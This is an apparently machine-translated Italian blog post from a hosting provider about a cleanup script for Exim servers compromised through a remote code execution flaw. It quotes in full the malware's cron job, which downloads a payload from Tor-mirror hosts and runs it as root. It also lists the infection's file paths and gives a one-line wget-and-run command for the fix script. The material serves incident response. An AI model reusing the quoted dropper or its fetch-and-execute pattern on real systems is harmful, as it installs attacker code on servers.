🥇La prima ondata di vittime della vulnerabilità Exim. Copione per il trattamento

Vulnerabilità RCE in Exim ha già fatto scalpore e ha scosso i nervi degli amministratori di sistema di tutto il mondo.

In seguito alle infezioni di massa (molti dei nostri clienti utilizzano Exim come server di posta), ho creato rapidamente uno script per automatizzare la soluzione del problema. Lo script è tutt'altro che ideale ed è pieno di codice non ottimale, ma è una soluzione di combattimento rapida per evitare di eseguire le stesse azioni su centinaia o addirittura migliaia di server.

Funziona su server che eseguono Centos, RHEL, Debian, Ubuntu OS con server di posta Exim installato.

Come capire che il server è stato violato?

Controlla i processi in esecuzione con il comando top.
I server infetti subiscono un carico del 100% generato dal processo [kthrotlds]. Allo scheduler cron viene aggiunta anche un'attività con diritti di modifica limitati.

Sezione avvertenze

Tutti gli episodi di infezione che abbiamo riscontrato erano assolutamente dello stesso tipo, la seconda e la terza ondata potrebbero differire da essi: potrebbe essere necessario modificare la sceneggiatura. Al momento dell'infezione, i lavori cron vengono persi per sempre e devono essere restituiti manualmente. Lo script "taglia dalla spalla": aggiorna senza paura Exim alle versioni patchate, nel caso di Centos 6, anche dal repository di test. L'istanza del malware si trova in memoria, quindi il server necessariamente è necessario riavviare immediatamente dopo aver pulito le corone.

Importante: La vulnerabilità consente l'esecuzione del codice come root, il che non fornisce alcuna garanzia di ripristino al XNUMX%. Avendo accesso root al server, puoi nascondere quasi tutto su questo server, quindi sarà quasi impossibile trovarlo. L'unico modo per garantire che il server sia completamente riparato è effettuare una reinstallazione completa, ma ciò non è sempre possibile. Se non è possibile reinstallare il server e i sintomi coincidono con quelli descritti, puoi provare a tappare rapidamente i buchi con questo script.

Utilizzando lo script, lo fai a tuo rischio e pericolo: abbiamo testato lo script su diversi server, ma ci sono sempre rischi di versioni software incompatibili o impostazioni contrastanti.
Inoltre, il nostro script consente di curare solo una delle possibili implementazioni dell'infezione: è possibile che esistano già altri modi per sfruttare la vulnerabilità che non sono giunti alla nostra attenzione.

Cosa fa la sceneggiatura?

1. Se il sistema operativo è installato sul server:

Non Centos 6 aggiorna Exim, reinstalla curl.
Centos 6 - aggiorna Exim dal repository di test EPEL (il rilascio nei repository standard è previsto per il 11-12.06), reinstalla curl.

2. Verifica la presenza di infezioni sul server.

Lo script analizza i lavori dello scheduler per individuare inclusioni sospette.Ad esempio, questi:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

2a. Se sono presenti tracce di uno script di virus nella cartella /etc, procedere come segue

interrompe cron
uccide un processo avviato da uno script di virus
uccide i processi curl wget sh quattro volte (avviato dal virus secondo una pianificazione)
cancella tutte le lettere dalla coda della posta (le lettere infette sono difficili da separare da quelle innocue, quindi l'intera coda deve essere eliminata)

Consente la rimozione di file contenenti frammenti di uno script dannoso:

/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/crontab
/root/.cache/
/root/.cache/a
/usr/local/bin/nptd
/root/.cache/.kswapd
/usr/bin/[kthrotlds]
/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp

elimina questi file
elimina il lavoro di esecuzione automatica in /etc/rc.local
rimuove la chiave dell'aggressore dalle chiavi ssh consentite
esegue cron
e riavvia immediatamente il server

2b. Se non ci sono tracce di infezione, lo script esce.

Chiarimenti

Il virus cancella tutti i lavori di pianificazione cron. Pertanto, dopo aver riavviato il server, devono essere riconfigurati o ripristinati da una copia di backup.

Anche curl viene infettato da un virus, quindi viene reinstallato.

Un riavvio (lo script lo esegue automaticamente dopo il trattamento) è obbligatorio, altrimenti il malware viene archiviato nella memoria del server e si riproduce ogni 30 secondi, anche dopo aver eliminato i file infetti.

Come usare?

Tradizionalmente: prima di iniziare, assicurati di avere una copia di backup aggiornata dei dati del tuo server.

Per eseguire lo script:

Connettiti al server tramite ssh come utente con diritti di root. Puoi anche utilizzare il client Shell nel pannello ISPmanager - Strumenti.

Nel terminale, inserisci il comando:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

Attendi il completamento dello script e il riavvio del server.

Dopo il riavvio, controlla il funzionamento del server e dei siti/applicazioni ospitati su di esso, riconfigura o ripristina le attività cron dal backup.

E infine

Essenzialmente la sceneggiatura lo è soluzione temporanea per ripristinare la funzionalità del server, a garanzia di prevenzione, la soluzione migliore è passare ad un nuovo server con una versione del sistema operativo che non contenga più la vulnerabilità.

Tutti i consigli per migliorare/rielaborare lo script sono benvenuti. Se riscontri un altro sintomo di infezione, mostralo. La cooperazione nei momenti di infezioni di massa riduce significativamente il tempo necessario per eliminare queste infezioni.

In bocca al lupo!

UPD1: Aggiunto a github.
Ho anche caricato il codice sorgente dello script del malware, che sono riuscito a estrarre dal server infetto..

Fonte: habr.com